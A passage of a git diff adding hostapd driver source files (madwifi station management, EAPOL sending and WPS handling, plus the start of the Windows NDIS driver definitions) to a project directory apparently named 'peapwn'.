IEEE80211_MLME_DEAUTH; + mlme.im_reason = reason_code; + memcpy(mlme.im_macaddr, addr, IEEE80211_ADDR_LEN); + ret = set80211priv(drv, IEEE80211_IOCTL_SETMLME, &mlme, sizeof(mlme)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to deauth STA (addr " MACSTR + " reason %d)", + __func__, MAC2STR(addr), reason_code); + } + + return ret; +} + +static int +madwifi_sta_disassoc(void *priv, const u8 *own_addr, const u8 *addr, + int reason_code) +{ + struct madwifi_driver_data *drv = priv; + struct ieee80211req_mlme mlme; + int ret; + + wpa_printf(MSG_DEBUG, "%s: addr=%s reason_code=%d", + __func__, ether_sprintf(addr), reason_code); + + mlme.im_op = IEEE80211_MLME_DISASSOC; + mlme.im_reason = reason_code; + memcpy(mlme.im_macaddr, addr, IEEE80211_ADDR_LEN); + ret = set80211priv(drv, IEEE80211_IOCTL_SETMLME, &mlme, sizeof(mlme)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to disassoc STA (addr " + MACSTR " reason %d)", + __func__, MAC2STR(addr), reason_code); + } + + return ret; +} + +#ifdef CONFIG_WPS +#ifdef IEEE80211_IOCTL_FILTERFRAME +static void madwifi_raw_receive(void *ctx, const u8 *src_addr, const u8 *buf, + size_t len) +{ + struct madwifi_driver_data *drv = ctx; + const struct ieee80211_mgmt *mgmt; + u16 fc; + union wpa_event_data event; + + /* Send Probe Request information to WPS processing */ + + if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.probe_req)) + return; + mgmt = (const struct ieee80211_mgmt *) buf; + + fc = le_to_host16(mgmt->frame_control); + if (WLAN_FC_GET_TYPE(fc) != WLAN_FC_TYPE_MGMT || + WLAN_FC_GET_STYPE(fc) != WLAN_FC_STYPE_PROBE_REQ) + return; + + os_memset(&event, 0, sizeof(event)); + event.rx_probe_req.sa = mgmt->sa; + event.rx_probe_req.da = mgmt->da; + event.rx_probe_req.bssid = mgmt->bssid; + event.rx_probe_req.ie = mgmt->u.probe_req.variable; + event.rx_probe_req.ie_len = + len - (IEEE80211_HDRLEN + sizeof(mgmt->u.probe_req)); + wpa_supplicant_event(drv->hapd, EVENT_RX_PROBE_REQ, &event); +} +#endif /* IEEE80211_IOCTL_FILTERFRAME */ +#endif /* CONFIG_WPS */ + +static int madwifi_receive_probe_req(struct madwifi_driver_data *drv) +{ + int ret = 0; +#ifdef CONFIG_WPS +#ifdef IEEE80211_IOCTL_FILTERFRAME + struct ieee80211req_set_filter filt; + + wpa_printf(MSG_DEBUG, "%s Enter", __func__); + filt.app_filterype = IEEE80211_FILTER_TYPE_PROBE_REQ; + + ret = set80211priv(drv, IEEE80211_IOCTL_FILTERFRAME, &filt, + sizeof(struct ieee80211req_set_filter)); + if (ret) + return ret; + + drv->sock_raw = l2_packet_init(drv->iface, NULL, ETH_P_80211_RAW, + madwifi_raw_receive, drv, 1); + if (drv->sock_raw == NULL) + return -1; +#endif /* IEEE80211_IOCTL_FILTERFRAME */ +#endif /* CONFIG_WPS */ + return ret; +} + +#ifdef CONFIG_WPS +static int +madwifi_set_wps_ie(void *priv, const u8 *ie, size_t len, u32 frametype) +{ + struct madwifi_driver_data *drv = priv; + u8 buf[256]; + struct ieee80211req_getset_appiebuf *beac_ie; + + wpa_printf(MSG_DEBUG, "%s buflen = %lu", __func__, + (unsigned long) len); + + beac_ie = (struct ieee80211req_getset_appiebuf *) buf; + beac_ie->app_frmtype = frametype; + beac_ie->app_buflen = len; + memcpy(&(beac_ie->app_buf[0]), ie, len); + + return set80211priv(drv, IEEE80211_IOCTL_SET_APPIEBUF, beac_ie, + sizeof(struct ieee80211req_getset_appiebuf) + len); +} + +static int +madwifi_set_ap_wps_ie(void *priv, const struct wpabuf *beacon, + const struct wpabuf *proberesp, + const struct wpabuf *assocresp) +{ + if (madwifi_set_wps_ie(priv, beacon ? wpabuf_head(beacon) : NULL, + beacon ? wpabuf_len(beacon) : 0, + IEEE80211_APPIE_FRAME_BEACON) < 0) + return -1; + return madwifi_set_wps_ie(priv, + proberesp ? wpabuf_head(proberesp) : NULL, + proberesp ? wpabuf_len(proberesp) : 0, + IEEE80211_APPIE_FRAME_PROBE_RESP); +} +#else /* CONFIG_WPS */ +#define madwifi_set_ap_wps_ie NULL +#endif /* CONFIG_WPS */ + +static int madwifi_set_freq(void *priv, struct hostapd_freq_params *freq) +{ + struct madwifi_driver_data *drv = priv; + struct iwreq iwr; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + iwr.u.freq.m = freq->channel; + iwr.u.freq.e = 0; + + if (ioctl(drv->ioctl_sock, SIOCSIWFREQ, &iwr) < 0) { + perror("ioctl[SIOCSIWFREQ]"); + return -1; + } + + return 0; +} + +static void +madwifi_new_sta(struct madwifi_driver_data *drv, u8 addr[IEEE80211_ADDR_LEN]) +{ + struct hostapd_data *hapd = drv->hapd; + struct ieee80211req_wpaie ie; + int ielen = 0; + u8 *iebuf = NULL; + + /* + * Fetch negotiated WPA/RSN parameters from the system. + */ + memset(&ie, 0, sizeof(ie)); + memcpy(ie.wpa_macaddr, addr, IEEE80211_ADDR_LEN); + if (set80211priv(drv, IEEE80211_IOCTL_GETWPAIE, &ie, sizeof(ie))) { + wpa_printf(MSG_DEBUG, "%s: Failed to get WPA/RSN IE", + __func__); + goto no_ie; + } + wpa_hexdump(MSG_MSGDUMP, "madwifi req WPA IE", + ie.wpa_ie, IEEE80211_MAX_OPT_IE); + iebuf = ie.wpa_ie; + /* madwifi seems to return some random data if WPA/RSN IE is not set. + * Assume the IE was not included if the IE type is unknown. */ + if (iebuf[0] != WLAN_EID_VENDOR_SPECIFIC) + iebuf[1] = 0; +#ifdef MADWIFI_NG + wpa_hexdump(MSG_MSGDUMP, "madwifi req RSN IE", + ie.rsn_ie, IEEE80211_MAX_OPT_IE); + if (iebuf[1] == 0 && ie.rsn_ie[1] > 0) { + /* madwifi-ng svn #1453 added rsn_ie. Use it, if wpa_ie was not + * set. This is needed for WPA2. */ + iebuf = ie.rsn_ie; + if (iebuf[0] != WLAN_EID_RSN) + iebuf[1] = 0; + } +#endif /* MADWIFI_NG */ + + ielen = iebuf[1]; + if (ielen == 0) + iebuf = NULL; + else + ielen += 2; + +no_ie: + drv_event_assoc(hapd, addr, iebuf, ielen, 0); + + if (memcmp(addr, drv->acct_mac, ETH_ALEN) == 0) { + /* Cached accounting data is not valid anymore. */ + memset(drv->acct_mac, 0, ETH_ALEN); + memset(&drv->acct_data, 0, sizeof(drv->acct_data)); + } +} + +static void +madwifi_wireless_event_wireless_custom(struct madwifi_driver_data *drv, + char *custom) +{ + wpa_printf(MSG_DEBUG, "Custom wireless event: '%s'", custom); + + if (strncmp(custom, "MLME-MICHAELMICFAILURE.indication", 33) == 0) { + char *pos; + u8 addr[ETH_ALEN]; + pos = strstr(custom, "addr="); + if (pos == NULL) { + wpa_printf(MSG_DEBUG, + "MLME-MICHAELMICFAILURE.indication " + "without sender address ignored"); + return; + } + pos += 5; + if (hwaddr_aton(pos, addr) == 0) { + union wpa_event_data data; + os_memset(&data, 0, sizeof(data)); + data.michael_mic_failure.unicast = 1; + data.michael_mic_failure.src = addr; + wpa_supplicant_event(drv->hapd, + EVENT_MICHAEL_MIC_FAILURE, &data); + } else { + wpa_printf(MSG_DEBUG, + "MLME-MICHAELMICFAILURE.indication " + "with invalid MAC address"); + } + } else if (strncmp(custom, "STA-TRAFFIC-STAT", 16) == 0) { + char *key, *value; + u32 val; + key = custom; + while ((key = strchr(key, '\n')) != NULL) { + key++; + value = strchr(key, '='); + if (value == NULL) + continue; + *value++ = '\0'; + val = strtoul(value, NULL, 10); + if (strcmp(key, "mac") == 0) + hwaddr_aton(value, drv->acct_mac); + else if (strcmp(key, "rx_packets") == 0) + drv->acct_data.rx_packets = val; + else if (strcmp(key, "tx_packets") == 0) + drv->acct_data.tx_packets = val; + else if (strcmp(key, "rx_bytes") == 0) + drv->acct_data.rx_bytes = val; + else if (strcmp(key, "tx_bytes") == 0) + drv->acct_data.tx_bytes = val; + key = value; + } + } +} + +static void +madwifi_wireless_event_wireless(struct madwifi_driver_data *drv, + char *data, int len) +{ + struct iw_event iwe_buf, *iwe = &iwe_buf; + char *pos, *end, *custom, *buf; + + pos = data; + end = data + len; + + while (pos + IW_EV_LCP_LEN <= end) { + /* Event data may be unaligned, so make a local, aligned copy + * before processing. */ + memcpy(&iwe_buf, pos, IW_EV_LCP_LEN); + wpa_printf(MSG_MSGDUMP, "Wireless event: cmd=0x%x len=%d", + iwe->cmd, iwe->len); + if (iwe->len <= IW_EV_LCP_LEN) + return; + + custom = pos + IW_EV_POINT_LEN; + if (drv->we_version > 18 && + (iwe->cmd == IWEVMICHAELMICFAILURE || + iwe->cmd == IWEVCUSTOM)) { + /* WE-19 removed the pointer from struct iw_point */ + char *dpos = (char *) &iwe_buf.u.data.length; + int dlen = dpos - (char *) &iwe_buf; + memcpy(dpos, pos + IW_EV_LCP_LEN, + sizeof(struct iw_event) - dlen); + } else { + memcpy(&iwe_buf, pos, sizeof(struct iw_event)); + custom += IW_EV_POINT_OFF; + } + + switch (iwe->cmd) { + case IWEVEXPIRED: + drv_event_disassoc(drv->hapd, + (u8 *) iwe->u.addr.sa_data); + break; + case IWEVREGISTERED: + madwifi_new_sta(drv, (u8 *) iwe->u.addr.sa_data); + break; + case IWEVCUSTOM: + if (custom + iwe->u.data.length > end) + return; + buf = malloc(iwe->u.data.length + 1); + if (buf == NULL) + return; /* XXX */ + memcpy(buf, custom, iwe->u.data.length); + buf[iwe->u.data.length] = '\0'; + madwifi_wireless_event_wireless_custom(drv, buf); + free(buf); + break; + } + + pos += iwe->len; + } +} + + +static void +madwifi_wireless_event_rtm_newlink(void *ctx, struct ifinfomsg *ifi, + u8 *buf, size_t len) +{ + struct madwifi_driver_data *drv = ctx; + int attrlen, rta_len; + struct rtattr *attr; + + if (ifi->ifi_index != drv->ifindex) + return; + + attrlen = len; + attr = (struct rtattr *) buf; + + rta_len = RTA_ALIGN(sizeof(struct rtattr)); + while (RTA_OK(attr, attrlen)) { + if (attr->rta_type == IFLA_WIRELESS) { + madwifi_wireless_event_wireless( + drv, ((char *) attr) + rta_len, + attr->rta_len - rta_len); + } + attr = RTA_NEXT(attr, attrlen); + } +} + + +static int +madwifi_get_we_version(struct madwifi_driver_data *drv) +{ + struct iw_range *range; + struct iwreq iwr; + int minlen; + size_t buflen; + + drv->we_version = 0; + + /* + * Use larger buffer than struct iw_range in order to allow the + * structure to grow in the future. + */ + buflen = sizeof(struct iw_range) + 500; + range = os_zalloc(buflen); + if (range == NULL) + return -1; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + iwr.u.data.pointer = (caddr_t) range; + iwr.u.data.length = buflen; + + minlen = ((char *) &range->enc_capa) - (char *) range + + sizeof(range->enc_capa); + + if (ioctl(drv->ioctl_sock, SIOCGIWRANGE, &iwr) < 0) { + perror("ioctl[SIOCGIWRANGE]"); + free(range); + return -1; + } else if (iwr.u.data.length >= minlen && + range->we_version_compiled >= 18) { + wpa_printf(MSG_DEBUG, "SIOCGIWRANGE: WE(compiled)=%d " + "WE(source)=%d enc_capa=0x%x", + range->we_version_compiled, + range->we_version_source, + range->enc_capa); + drv->we_version = range->we_version_compiled; + } + + free(range); + return 0; +} + + +static int +madwifi_wireless_event_init(struct madwifi_driver_data *drv) +{ + struct netlink_config *cfg; + + madwifi_get_we_version(drv); + + cfg = os_zalloc(sizeof(*cfg)); + if (cfg == NULL) + return -1; + cfg->ctx = drv; + cfg->newlink_cb = madwifi_wireless_event_rtm_newlink; + drv->netlink = netlink_init(cfg); + if (drv->netlink == NULL) { + os_free(cfg); + return -1; + } + + return 0; +} + + +static int +madwifi_send_eapol(void *priv, const u8 *addr, const u8 *data, size_t data_len, + int encrypt, const u8 *own_addr, u32 flags) +{ + struct madwifi_driver_data *drv = priv; + unsigned char buf[3000]; + unsigned char *bp = buf; + struct l2_ethhdr *eth; + size_t len; + int status; + + /* + * Prepend the Ethernet header. If the caller left us + * space at the front we could just insert it but since + * we don't know we copy to a local buffer. Given the frequency + * and size of frames this probably doesn't matter. + */ + len = data_len + sizeof(struct l2_ethhdr); + if (len > sizeof(buf)) { + bp = malloc(len); + if (bp == NULL) { + printf("EAPOL frame discarded, cannot malloc temp " + "buffer of size %lu!\n", (unsigned long) len); + return -1; + } + } + eth = (struct l2_ethhdr *) bp; + memcpy(eth->h_dest, addr, ETH_ALEN); + memcpy(eth->h_source, own_addr, ETH_ALEN); + eth->h_proto = host_to_be16(ETH_P_EAPOL); + memcpy(eth+1, data, data_len); + + wpa_hexdump(MSG_MSGDUMP, "TX EAPOL", bp, len); + + status = l2_packet_send(drv->sock_xmit, addr, ETH_P_EAPOL, bp, len); + + if (bp != buf) + free(bp); + return status; +} + +static void +handle_read(void *ctx, const u8 *src_addr, const u8 *buf, size_t len) +{ + struct madwifi_driver_data *drv = ctx; + drv_event_eapol_rx(drv->hapd, src_addr, buf + sizeof(struct l2_ethhdr), + len - sizeof(struct l2_ethhdr)); +} + +static void * +madwifi_init(struct hostapd_data *hapd, struct wpa_init_params *params) +{ + struct madwifi_driver_data *drv; + struct ifreq ifr; + struct iwreq iwr; + char brname[IFNAMSIZ]; + + drv = os_zalloc(sizeof(struct madwifi_driver_data)); + if (drv == NULL) { + printf("Could not allocate memory for madwifi driver data\n"); + return NULL; + } + + drv->hapd = hapd; + drv->ioctl_sock = socket(PF_INET, SOCK_DGRAM, 0); + if (drv->ioctl_sock < 0) { + perror("socket[PF_INET,SOCK_DGRAM]"); + goto bad; + } + memcpy(drv->iface, params->ifname, sizeof(drv->iface)); + + memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, drv->iface, sizeof(ifr.ifr_name)); + if (ioctl(drv->ioctl_sock, SIOCGIFINDEX, &ifr) != 0) { + perror("ioctl(SIOCGIFINDEX)"); + goto bad; + } + drv->ifindex = ifr.ifr_ifindex; + + drv->sock_xmit = l2_packet_init(drv->iface, NULL, ETH_P_EAPOL, + handle_read, drv, 1); + if (drv->sock_xmit == NULL) + goto bad; + if (l2_packet_get_own_addr(drv->sock_xmit, params->own_addr)) + goto bad; + if (params->bridge[0]) { + wpa_printf(MSG_DEBUG, "Configure bridge %s for EAPOL traffic.", + params->bridge[0]); + drv->sock_recv = l2_packet_init(params->bridge[0], NULL, + ETH_P_EAPOL, handle_read, drv, + 1); + if (drv->sock_recv == NULL) + goto bad; + } else if (linux_br_get(brname, drv->iface) == 0) { + wpa_printf(MSG_DEBUG, "Interface in bridge %s; configure for " + "EAPOL receive", brname); + drv->sock_recv = l2_packet_init(brname, NULL, ETH_P_EAPOL, + handle_read, drv, 1); + if (drv->sock_recv == NULL) + goto bad; + } else + drv->sock_recv = drv->sock_xmit; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + + iwr.u.mode = IW_MODE_MASTER; + + if (ioctl(drv->ioctl_sock, SIOCSIWMODE, &iwr) < 0) { + perror("ioctl[SIOCSIWMODE]"); + printf("Could not set interface to master mode!\n"); + goto bad; + } + + /* mark down during setup */ + linux_set_iface_flags(drv->ioctl_sock, drv->iface, 0); + madwifi_set_privacy(drv, 0); /* default to no privacy */ + + madwifi_receive_probe_req(drv); + + if (madwifi_wireless_event_init(drv)) + goto bad; + + return drv; +bad: + if (drv->sock_xmit != NULL) + l2_packet_deinit(drv->sock_xmit); + if (drv->ioctl_sock >= 0) + close(drv->ioctl_sock); + if (drv != NULL) + free(drv); + return NULL; +} + + +static void +madwifi_deinit(void *priv) +{ + struct madwifi_driver_data *drv = priv; + + netlink_deinit(drv->netlink); + (void) linux_set_iface_flags(drv->ioctl_sock, drv->iface, 0); + if (drv->ioctl_sock >= 0) + close(drv->ioctl_sock); + if (drv->sock_recv != NULL && drv->sock_recv != drv->sock_xmit) + l2_packet_deinit(drv->sock_recv); + if (drv->sock_xmit != NULL) + l2_packet_deinit(drv->sock_xmit); + if (drv->sock_raw) + l2_packet_deinit(drv->sock_raw); + free(drv); +} + +static int +madwifi_set_ssid(void *priv, const u8 *buf, int len) +{ + struct madwifi_driver_data *drv = priv; + struct iwreq iwr; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + iwr.u.essid.flags = 1; /* SSID active */ + iwr.u.essid.pointer = (caddr_t) buf; + iwr.u.essid.length = len + 1; + + if (ioctl(drv->ioctl_sock, SIOCSIWESSID, &iwr) < 0) { + perror("ioctl[SIOCSIWESSID]"); + printf("len=%d\n", len); + return -1; + } + return 0; +} + +static int +madwifi_get_ssid(void *priv, u8 *buf, int len) +{ + struct madwifi_driver_data *drv = priv; + struct iwreq iwr; + int ret = 0; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + iwr.u.essid.pointer = (caddr_t) buf; + iwr.u.essid.length = len; + + if (ioctl(drv->ioctl_sock, SIOCGIWESSID, &iwr) < 0) { + perror("ioctl[SIOCGIWESSID]"); + ret = -1; + } else + ret = iwr.u.essid.length; + + return ret; +} + +static int +madwifi_set_countermeasures(void *priv, int enabled) +{ + struct madwifi_driver_data *drv = priv; + wpa_printf(MSG_DEBUG, "%s: enabled=%d", __FUNCTION__, enabled); + return set80211param(drv, IEEE80211_PARAM_COUNTERMEASURES, enabled); +} + +static int +madwifi_commit(void *priv) +{ + struct madwifi_driver_data *drv = priv; + return linux_set_iface_flags(drv->ioctl_sock, drv->iface, 1); +} + + +const struct wpa_driver_ops wpa_driver_madwifi_ops = { + .name = "madwifi", + .desc = "MADWIFI 802.11 support (Atheros, etc.)", + .set_key = wpa_driver_madwifi_set_key, + .hapd_init = madwifi_init, + .hapd_deinit = madwifi_deinit, + .set_ieee8021x = madwifi_set_ieee8021x, + .set_privacy = madwifi_set_privacy, + .get_seqnum = madwifi_get_seqnum, + .flush = madwifi_flush, + .set_generic_elem = madwifi_set_opt_ie, + .sta_set_flags = madwifi_sta_set_flags, + .read_sta_data = madwifi_read_sta_driver_data, + .hapd_send_eapol = madwifi_send_eapol, + .sta_disassoc = madwifi_sta_disassoc, + .sta_deauth = madwifi_sta_deauth, + .hapd_set_ssid = madwifi_set_ssid, + .hapd_get_ssid = madwifi_get_ssid, + .hapd_set_countermeasures = madwifi_set_countermeasures, + .sta_clear_stats = madwifi_sta_clear_stats, + .commit = madwifi_commit, + .set_ap_wps_ie = madwifi_set_ap_wps_ie, + .set_freq = madwifi_set_freq, +}; diff --git a/peapwn/mods/hostap/src/drivers/driver_ndis.c b/peapwn/mods/hostap/src/drivers/driver_ndis.c new file mode 100644 index 000000000..4656c1b77 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_ndis.c @@ -0,0 +1,3218 @@ +/* + * WPA Supplicant - Windows/NDIS driver interface + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifdef __CYGWIN__ +/* Avoid some header file conflicts by not including standard headers for + * cygwin builds when Packet32.h is included. */ +#include "build_config.h" +int close(int fd); +#else /* __CYGWIN__ */ +#include "includes.h" +#endif /* __CYGWIN__ */ +#ifdef CONFIG_USE_NDISUIO +#include +#else /* CONFIG_USE_NDISUIO */ +#include +#endif /* CONFIG_USE_NDISUIO */ +#ifdef __MINGW32_VERSION +#include +#else /* __MINGW32_VERSION */ +#include +#endif /* __MINGW32_VERSION */ + +#ifdef _WIN32_WCE +#include +#include +#include +#endif /* _WIN32_WCE */ + +#include "common.h" +#include "driver.h" +#include "eloop.h" +#include "common/ieee802_11_defs.h" +#include "driver_ndis.h" + +int wpa_driver_register_event_cb(struct wpa_driver_ndis_data *drv); +#ifdef CONFIG_NDIS_EVENTS_INTEGRATED +void wpa_driver_ndis_event_pipe_cb(void *eloop_data, void *user_data); +#endif /* CONFIG_NDIS_EVENTS_INTEGRATED */ + +static void wpa_driver_ndis_deinit(void *priv); +static void wpa_driver_ndis_poll(void *drv); +static void wpa_driver_ndis_poll_timeout(void *eloop_ctx, void *timeout_ctx); +static int wpa_driver_ndis_adapter_init(struct wpa_driver_ndis_data *drv); +static int wpa_driver_ndis_adapter_open(struct wpa_driver_ndis_data *drv); +static void wpa_driver_ndis_adapter_close(struct wpa_driver_ndis_data *drv); + + +static const u8 pae_group_addr[ETH_ALEN] = +{ 0x01, 0x80, 0xc2, 0x00, 0x00, 0x03 }; + + +/* FIX: to be removed once this can be compiled with the complete NDIS + * header files */ +#ifndef OID_802_11_BSSID +#define OID_802_11_BSSID 0x0d010101 +#define OID_802_11_SSID 0x0d010102 +#define OID_802_11_INFRASTRUCTURE_MODE 0x0d010108 +#define OID_802_11_ADD_WEP 0x0D010113 +#define OID_802_11_REMOVE_WEP 0x0D010114 +#define OID_802_11_DISASSOCIATE 0x0D010115 +#define OID_802_11_BSSID_LIST 0x0d010217 +#define OID_802_11_AUTHENTICATION_MODE 0x0d010118 +#define OID_802_11_PRIVACY_FILTER 0x0d010119 +#define OID_802_11_BSSID_LIST_SCAN 0x0d01011A +#define OID_802_11_WEP_STATUS 0x0d01011B +#define OID_802_11_ENCRYPTION_STATUS OID_802_11_WEP_STATUS +#define OID_802_11_ADD_KEY 0x0d01011D +#define OID_802_11_REMOVE_KEY 0x0d01011E +#define OID_802_11_ASSOCIATION_INFORMATION 0x0d01011F +#define OID_802_11_TEST 0x0d010120 +#define OID_802_11_CAPABILITY 0x0d010122 +#define OID_802_11_PMKID 0x0d010123 + +#define NDIS_802_11_LENGTH_SSID 32 +#define NDIS_802_11_LENGTH_RATES 8 +#define NDIS_802_11_LENGTH_RATES_EX 16 + +typedef UCHAR NDIS_802_11_MAC_ADDRESS[6]; + +typedef struct NDIS_802_11_SSID { + ULONG SsidLength; + UCHAR Ssid[NDIS_802_11_LENGTH_SSID]; +} NDIS_802_11_SSID; + +typedef LONG NDIS_802_11_RSSI; + +typedef enum NDIS_802_11_NETWORK_TYPE { + Ndis802_11FH, + Ndis802_11DS, + Ndis802_11OFDM5, + Ndis802_11OFDM24, + Ndis802_11NetworkTypeMax +} NDIS_802_11_NETWORK_TYPE; + +typedef struct NDIS_802_11_CONFIGURATION_FH { + ULONG Length; + ULONG HopPattern; + ULONG HopSet; + ULONG DwellTime; +} NDIS_802_11_CONFIGURATION_FH; + +typedef struct NDIS_802_11_CONFIGURATION { + ULONG Length; + ULONG BeaconPeriod; + ULONG ATIMWindow; + ULONG DSConfig; + NDIS_802_11_CONFIGURATION_FH FHConfig; +} NDIS_802_11_CONFIGURATION; + +typedef enum NDIS_802_11_NETWORK_INFRASTRUCTURE { + Ndis802_11IBSS, + Ndis802_11Infrastructure, + Ndis802_11AutoUnknown, + Ndis802_11InfrastructureMax +} NDIS_802_11_NETWORK_INFRASTRUCTURE; + +typedef enum NDIS_802_11_AUTHENTICATION_MODE { + Ndis802_11AuthModeOpen, + Ndis802_11AuthModeShared, + Ndis802_11AuthModeAutoSwitch, + Ndis802_11AuthModeWPA, + Ndis802_11AuthModeWPAPSK, + Ndis802_11AuthModeWPANone, + Ndis802_11AuthModeWPA2, + Ndis802_11AuthModeWPA2PSK, + Ndis802_11AuthModeMax +} NDIS_802_11_AUTHENTICATION_MODE; + +typedef enum NDIS_802_11_WEP_STATUS { + Ndis802_11WEPEnabled, + Ndis802_11Encryption1Enabled = Ndis802_11WEPEnabled, + Ndis802_11WEPDisabled, + Ndis802_11EncryptionDisabled = Ndis802_11WEPDisabled, + Ndis802_11WEPKeyAbsent, + Ndis802_11Encryption1KeyAbsent = Ndis802_11WEPKeyAbsent, + Ndis802_11WEPNotSupported, + Ndis802_11EncryptionNotSupported = Ndis802_11WEPNotSupported, + Ndis802_11Encryption2Enabled, + Ndis802_11Encryption2KeyAbsent, + Ndis802_11Encryption3Enabled, + Ndis802_11Encryption3KeyAbsent +} NDIS_802_11_WEP_STATUS, NDIS_802_11_ENCRYPTION_STATUS; + +typedef enum NDIS_802_11_PRIVACY_FILTER { + Ndis802_11PrivFilterAcceptAll, + Ndis802_11PrivFilter8021xWEP +} NDIS_802_11_PRIVACY_FILTER; + +typedef UCHAR NDIS_802_11_RATES[NDIS_802_11_LENGTH_RATES]; +typedef UCHAR NDIS_802_11_RATES_EX[NDIS_802_11_LENGTH_RATES_EX]; + +typedef struct NDIS_WLAN_BSSID_EX { + ULONG Length; + NDIS_802_11_MAC_ADDRESS MacAddress; /* BSSID */ + UCHAR Reserved[2]; + NDIS_802_11_SSID Ssid; + ULONG Privacy; + NDIS_802_11_RSSI Rssi; + NDIS_802_11_NETWORK_TYPE NetworkTypeInUse; + NDIS_802_11_CONFIGURATION Configuration; + NDIS_802_11_NETWORK_INFRASTRUCTURE InfrastructureMode; + NDIS_802_11_RATES_EX SupportedRates; + ULONG IELength; + UCHAR IEs[1]; +} NDIS_WLAN_BSSID_EX; + +typedef struct NDIS_802_11_BSSID_LIST_EX { + ULONG NumberOfItems; + NDIS_WLAN_BSSID_EX Bssid[1]; +} NDIS_802_11_BSSID_LIST_EX; + +typedef struct NDIS_802_11_FIXED_IEs { + UCHAR Timestamp[8]; + USHORT BeaconInterval; + USHORT Capabilities; +} NDIS_802_11_FIXED_IEs; + +typedef struct NDIS_802_11_WEP { + ULONG Length; + ULONG KeyIndex; + ULONG KeyLength; + UCHAR KeyMaterial[1]; +} NDIS_802_11_WEP; + +typedef ULONG NDIS_802_11_KEY_INDEX; +typedef ULONGLONG NDIS_802_11_KEY_RSC; + +typedef struct NDIS_802_11_KEY { + ULONG Length; + ULONG KeyIndex; + ULONG KeyLength; + NDIS_802_11_MAC_ADDRESS BSSID; + NDIS_802_11_KEY_RSC KeyRSC; + UCHAR KeyMaterial[1]; +} NDIS_802_11_KEY; + +typedef struct NDIS_802_11_REMOVE_KEY { + ULONG Length; + ULONG KeyIndex; + NDIS_802_11_MAC_ADDRESS BSSID; +} NDIS_802_11_REMOVE_KEY; + +typedef struct NDIS_802_11_AI_REQFI { + USHORT Capabilities; + USHORT ListenInterval; + NDIS_802_11_MAC_ADDRESS CurrentAPAddress; +} NDIS_802_11_AI_REQFI; + +typedef struct NDIS_802_11_AI_RESFI { + USHORT Capabilities; + USHORT StatusCode; + USHORT AssociationId; +} NDIS_802_11_AI_RESFI; + +typedef struct NDIS_802_11_ASSOCIATION_INFORMATION { + ULONG Length; + USHORT AvailableRequestFixedIEs; + NDIS_802_11_AI_REQFI RequestFixedIEs; + ULONG RequestIELength; + ULONG OffsetRequestIEs; + USHORT AvailableResponseFixedIEs; + NDIS_802_11_AI_RESFI ResponseFixedIEs; + ULONG ResponseIELength; + ULONG OffsetResponseIEs; +} NDIS_802_11_ASSOCIATION_INFORMATION; + +typedef struct NDIS_802_11_AUTHENTICATION_ENCRYPTION { + NDIS_802_11_AUTHENTICATION_MODE AuthModeSupported; + NDIS_802_11_ENCRYPTION_STATUS EncryptStatusSupported; +} NDIS_802_11_AUTHENTICATION_ENCRYPTION; + +typedef struct NDIS_802_11_CAPABILITY { + ULONG Length; + ULONG Version; + ULONG NoOfPMKIDs; + ULONG NoOfAuthEncryptPairsSupported; + NDIS_802_11_AUTHENTICATION_ENCRYPTION + AuthenticationEncryptionSupported[1]; +} NDIS_802_11_CAPABILITY; + +typedef UCHAR NDIS_802_11_PMKID_VALUE[16]; + +typedef struct BSSID_INFO { + NDIS_802_11_MAC_ADDRESS BSSID; + NDIS_802_11_PMKID_VALUE PMKID; +} BSSID_INFO; + +typedef struct NDIS_802_11_PMKID { + ULONG Length; + ULONG BSSIDInfoCount; + BSSID_INFO BSSIDInfo[1]; +} NDIS_802_11_PMKID; + +typedef enum NDIS_802_11_STATUS_TYPE { + Ndis802_11StatusType_Authentication, + Ndis802_11StatusType_PMKID_CandidateList = 2, + Ndis802_11StatusTypeMax +} NDIS_802_11_STATUS_TYPE; + +typedef struct NDIS_802_11_STATUS_INDICATION { + NDIS_802_11_STATUS_TYPE StatusType; +} NDIS_802_11_STATUS_INDICATION; + +typedef struct PMKID_CANDIDATE { + NDIS_802_11_MAC_ADDRESS BSSID; + ULONG Flags; +} PMKID_CANDIDATE; + +#define NDIS_802_11_PMKID_CANDIDATE_PREAUTH_ENABLED 0x01 + +typedef struct NDIS_802_11_PMKID_CANDIDATE_LIST { + ULONG Version; + ULONG NumCandidates; + PMKID_CANDIDATE CandidateList[1]; +} NDIS_802_11_PMKID_CANDIDATE_LIST; + +typedef struct NDIS_802_11_AUTHENTICATION_REQUEST { + ULONG Length; + NDIS_802_11_MAC_ADDRESS Bssid; + ULONG Flags; +} NDIS_802_11_AUTHENTICATION_REQUEST; + +#define NDIS_802_11_AUTH_REQUEST_REAUTH 0x01 +#define NDIS_802_11_AUTH_REQUEST_KEYUPDATE 0x02 +#define NDIS_802_11_AUTH_REQUEST_PAIRWISE_ERROR 0x06 +#define NDIS_802_11_AUTH_REQUEST_GROUP_ERROR 0x0E + +#endif /* OID_802_11_BSSID */ + + +#ifndef OID_802_11_PMKID +/* Platform SDK for XP did not include WPA2, so add needed definitions */ + +#define OID_802_11_CAPABILITY 0x0d010122 +#define OID_802_11_PMKID 0x0d010123 + +#define Ndis802_11AuthModeWPA2 6 +#define Ndis802_11AuthModeWPA2PSK 7 + +#define Ndis802_11StatusType_PMKID_CandidateList 2 + +typedef struct NDIS_802_11_AUTHENTICATION_ENCRYPTION { + NDIS_802_11_AUTHENTICATION_MODE AuthModeSupported; + NDIS_802_11_ENCRYPTION_STATUS EncryptStatusSupported; +} NDIS_802_11_AUTHENTICATION_ENCRYPTION; + +typedef struct 